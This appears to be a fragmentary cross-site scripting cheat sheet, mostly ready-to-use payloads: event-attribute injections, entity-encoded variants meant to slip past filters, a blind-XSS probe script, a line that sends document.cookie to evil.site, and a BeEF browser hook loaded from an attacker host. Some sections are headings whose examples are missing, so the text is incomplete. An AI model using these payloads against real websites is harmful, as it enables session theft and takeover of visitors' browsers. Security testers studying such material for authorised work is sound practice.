Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.


Polygot Locator

This test will execute in multiple contexts including html, script string, js and url (see Gareth Heyes).

Event Attributes

There are a lot of HTML tags that accepts javascript event attributes such as the following example.

<img src=/ onerror="alert(42)" />
<svg onload="alert(42)" />
<body onload="alert(42)" />
<input autofocus onfocus="alert(42)">
<audio src=_ onloadstart="alert(42)" />
<video src=_ onloadstart="alert(42)" />
<video><source onerror="javascript:alert(42)"></video>

List of HTML Event Attributes: https://www.w3schools.com/tags/ref_eventattributes.asp


XSSHunter is an awesome online service that allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.

<script src="http://yoursubdomain.xss.ht"></script>

XSS Hunter


This is an online service, it will receive a lot of information about the targeted website and the browser triggering the XSS. Do not use for sensitive engagements.


Syntax Variation
<script >alert(42)</script >
URL Encoding
HTML Entities

Numerical and hexadecimal HTML entities can be used to evade filters that look at the XSS payload inside a tag, an URL or JS. Of course, this will not work to obfuscate a <script> tag as HTML entities are actually used to sanitize user input.

Convert payload to numerical entities: [https://gchq.github.io/CyberChef/#recipe](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(true,'Numeric%20entities')Filter(‘Nothing%20(separate%20chars)’,';',true/disabled)&input=YWxlcnQoNDIp)

<img src=/ onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#52;&#50;&#41;" />


Numerical entities can be padded up to 7 numeric characters total. This can help evade filters that look for &#00;.

Convert payload to padded numerical entities: [https://gchq.github.io/CyberChef/#recipe](https://gchq.github.io/CyberChef/#recipe=To_Charcode('Line%20feed',10)Pad_lines(‘Start’,4,‘0’)Pad_lines(‘Start’,1,'%23')Pad_lines(‘Start’,1,'%26')Fork('%5C%5Cn',';',false)&input=YWxlcnQoNDIp)

<img src=/ onerror="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000052;&#000050;&#000041;" />

Convert payload to hexadecimal entities: [https://gchq.github.io/CyberChef/#recipe](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(true,'Hex%20entities')Filter(‘Nothing%20(separate%20chars)’,';',true/disabled)&input=YWxlcnQoNDIp)

<img src=/ onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x34;&#x32;&#x29;" />


The trailing ; is never required, removing them can help evade filters that look for &#XX;.

Non-Recursive Filtering

Sometimes the sanitization is applied only once and it is not being performed recursively.


When no quotes of any kind are allowed you can eval() a fromCharCode to create any string required.


Convert a string to a decimal unicode list: [https://gchq.github.io/CyberChef/#recipe](https://gchq.github.io/CyberChef/#recipe=To_Charcode('Comma',10)&input=NDI)

No Whitespace

The / character is usually considered invalid after an tag keyword and thus, is usually replaced by a whitespace by many HTML parsers. Allowing you to replace whitespaces when not available (or even evade poorly written filters).

Protocol Resolution

The http: is assumed by the browser and can be omitted when including external script. This is particularly useful when space is limited.

<script src=//xss.rocks/xss.js></script>


Find many standalone XSS payloads here: http://www.xss-payloads.com/payloads-list.html?a#category=all

javascript:img=new Image();img.src="http://evil.site/steal.php?c="+document.cookie;

A typical BeEF exploitation scenario involves:

<script src="http://evil.site/hook.js"></script>

IMPROVE BEEF DOCUMENTATION: http://www.beefproject.com/